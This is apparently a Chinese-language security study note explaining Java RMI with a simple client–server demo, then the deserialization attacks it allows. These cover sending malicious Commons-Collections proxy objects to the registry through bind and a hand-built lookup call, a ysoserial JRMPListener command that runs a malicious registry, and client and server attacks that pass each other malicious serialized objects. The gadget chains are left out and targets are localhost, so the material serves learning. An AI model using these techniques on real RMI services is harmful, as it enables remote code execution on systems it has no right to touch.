Java-RMI反序列化漏洞

文章发布时间:

最后更新时间:

文章总字数:
2.2k

预计阅读时间:
8 分钟

Java RMI反序列化攻击

RMI基础

RPC

RPC(Remote Procedure Call)远程过程调用,就是要像调用本地的函数一样去调远程函数。它并不是某一个具体的框架,而是实现了远程过程调用的都可以称之为RPC。比如RMI(Remote Method Invoke 远程方法调用)就是一个实现了RPC的JAVA框架。

一般RPC的过程:Client如果想要远程调用一个方法,就需要通过一个Stub类传递类名、方法名与参数信息给Server端,Server端获取到这些信息后会从本地服务器注册表中找到具体的类,再通过反射获取到一个具体的方法并执行然后返回结果。

RMI

RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中

RMI一个简单的demo

服务器端

服务器端需要实现三个类:

服务器端首先需要定义一个继承自Remote的远程接口IRemoteObj.java:

1
2
3
4
5
import java.rmi.Remote;

public interface IRemoteObj extends Remote {
public String up(String str) throws Exception;
}

在Java中,只要一个类extends了java.rmi.Remote接口,即可成为存在于服务器端的远程对象。其他接口中的方法若是声明抛出了RemoteException异常,则表明该方法可被客户端远程访问调用。

接着需要具体实现该接口,实现的方法就是可以远程访问调用的方法。远程接口实现类,RemoteObjImpl.java

1
2
3
4
5
6
7
8
9
10
11
import java.rmi.server.UnicastRemoteObject;

public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj{
public RemoteObjImpl() throws Exception{

}
@Override
public String up(String str) throws Exception{
return str.toUpperCase();
}
}

远程对象必须继承java.rmi.server.UnicastRemoteObject,这样才能保证客户端访问获得远程对象时,该远程对象将会把自身的一个拷贝以Socket的形式传输给客户端,此时客户端所获得的这个拷贝称为“存根”,而服务器端本身已存在的远程对象则称之为“骨架”。其实此时的存根是客户端的一个代理(Stub),用于与服务器端的通信,而骨架也可认为是服务器端的一个代理(skeleton),用于接收客户端的请求之后调用远程方法来响应客户端的请求。

简单来说就是该远程对象创建了Stub和Skeletion,并且把Stub通过Socket给了客户端,客户端就可以使用Stub向远程对象要方法,Skeletion留在自己这里以响应请求。

最后还需要一个实现服务端的类(直接使用Registry实现的RMI,其实也可以通过Naming的方式注册):

1
2
3
4
5
6
7
8
9
10
11
12
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIserver {
public static void main(String[] args) throws Exception {
IRemoteObj remoteObj = new RemoteObjImpl();
//创建一个远程对象
Registry r = LocateRegistry.createRegistry(1099);
//本地主机上的远程对象注册表Registry的实例
r.bind("remoteObj",remoteObj);
//把远程对象注册到RMI注册服务器上,并命名为remoteObj
}
}

这个类的作用就是注册远程对象,向客户端提供远程对象服务。将远程对象注册到RMI Service之后,客户端就可以通过RMI Service请求到该远程服务对象的stub了,利用stub代理就可以访问远程服务对象了。

简单来说就是服务端把stub放在注册中心,并绑定名字,然后客户端通过url和名字在注册中心取stub,并使用stub访问远程服务对象。

客户端

客户端相对简单,只需要实现两个类:

第一个依然是和服务端一样的远程接口(本地的情况可以直接包含):

1
2
3
4
import java.rmi.Remote;
public interface IRemoteObj extends Remote {
public String up(String str) throws Exception;
}

第二个就是实现客户端:

1
2
3
4
5
6
7
8
9
10
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIclient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("localhost",1099);
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj") ;
String str = remoteObj.up("mign");
System.out.println(str);
}
}

先通过LocateRegistry.getRegistry,使用ip和端口获得Registry对象,再使用lookup寻找远程对象,之后像正常使用本地对象一样调用其方法即可。

总结:流程图如下

image-20230722215647744

RMI反序列化攻击

一句话概括就是由于数据传输经过了序列化,接收方又将其反序列化,故所有数据传输的地方都存在反序列化漏洞,都可以通过CC链等进行攻击。

至于本地操作注册中心和远程操作注册中心的RMI源码逻辑,暂时不在这里细究,有需要可以查阅文底参考文献和组长的视频,打算到时候深学计网再回来慢慢研究。

各种不同场景下的攻击流程图如下:

image-20230722222320882

服务端与客户端攻击注册中心

服务端和客户端攻击注册中心的方式是相同的,都是远程获取注册中心后传递一个恶意对象进行利用。

bind() & rebind()

远程调用bind()绑定服务时,注册中心会对接收到的序列化的对象进行反序列化。所以,我们只需要传入一个恶意的对象即可。

1
2
3
4
5
6
7
8
9
10
11
public class UserServerEval {
public static void main(String[] args) throws Exception {
//此处省略CC1链全过程...
Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, evalObject));
//使用Remote.class.cast来进行类型转换
Registry registry = LocateRegistry.createRegistry(3333);
Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 3333);
registry_remote.bind("HelloRegistry", proxyEvalObject);
System.out.println("rmi start at 3333");
}
}

需要注意的是bind接收的参数是Remote对象,所以不能直接把AnnotationInvocationHandler类的对象传进去,需要进行类型转换。

unbind&lookup

注册中心在处理请求时,是直接进行反序列化再进行类型转换

如果我们要控制传递过去的序列化值的话,不能直接传递给lookup这个方法,因为它的参数是一个String类型。但是它发送请求的流程是可以直接复制的,只需要模仿lookup中发送请求的流程,就能够控制发送过去的值为一个对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class UserServerEval2 {
public static void main(String[] args) throws Exception {
//此处省略CC链全过程

//类型转换,服务端的前两步正常
Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, evalObject));
Registry registry = LocateRegistry.createRegistry(3333);
Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 3333);

// 获取super.ref
Field[] fields_0 = registry_remote.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry_remote);

// 获取operations
Field[] fields_1 = registry_remote.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry_remote);

// 跟lookup方法一样的传值过程
RemoteCall var2 = ref.newCall((RemoteObject) registry_remote, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(proxyEvalObject);
ref.invoke(var2);

registry_remote.lookup("HelloRegistry");
System.out.println("rmi start at 3333");
}
}

注册中心攻击服务端与客户端

客户端和服务端与注册中心的参数交互都是把数据序列化和反序列化来进行的,那这个过程中肯定也是存在一个对注册中心返回的数据的反序列化的处理,这个地方也存在反序列化漏洞风险。

可以使用ysoserial生成一个恶意的注册中心,当调用注册中心的方法时,就可以进行恶意利用。

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 'open /System/Applications/Calculator.app'

12345是端口号,CC1是攻击方式,后面是要执行的命令。

1
2
3
4
5
list()
bind()
rebind()
unbind()
lookup() //这些方法一调用,就会反序列化从而执行命令

突然发现这ysoserial真是个好东西。

客户端攻击服务端

如果注册服务的对象接收一个参数为对象,那么可以传递一个恶意对象进行利用。

相当于客户端构造好了一个对象,然后通过远程调用方法把该对象传到服务端

服务端:

image-20230722225400644

客户端:

1
2
userClient.dowork(getpayload());
//getpayload():用cc链生成一个恶意的序列化对象

服务端攻击客户端

跟客户端攻击服务端一样,在客户端调用一个远程方法时,只需要控制返回的对象是一个恶意对象就可以进行反序列化漏洞的利用了。总之就是互相传序列化好了的恶意对象,让对方反序列化从而执行命令。

服务端:

1
2
3
4
public Object getwork() throws RemoteException {
//省略CC链
return evalObject;
}

客户端只要远程调用getwork()方法,就会接收到evalObject,从而反序列化执行命令。

参考链接:

JAVA RMI 反序列化攻击 & JEP290 Bypass分析 - 先知社区 (aliyun.com)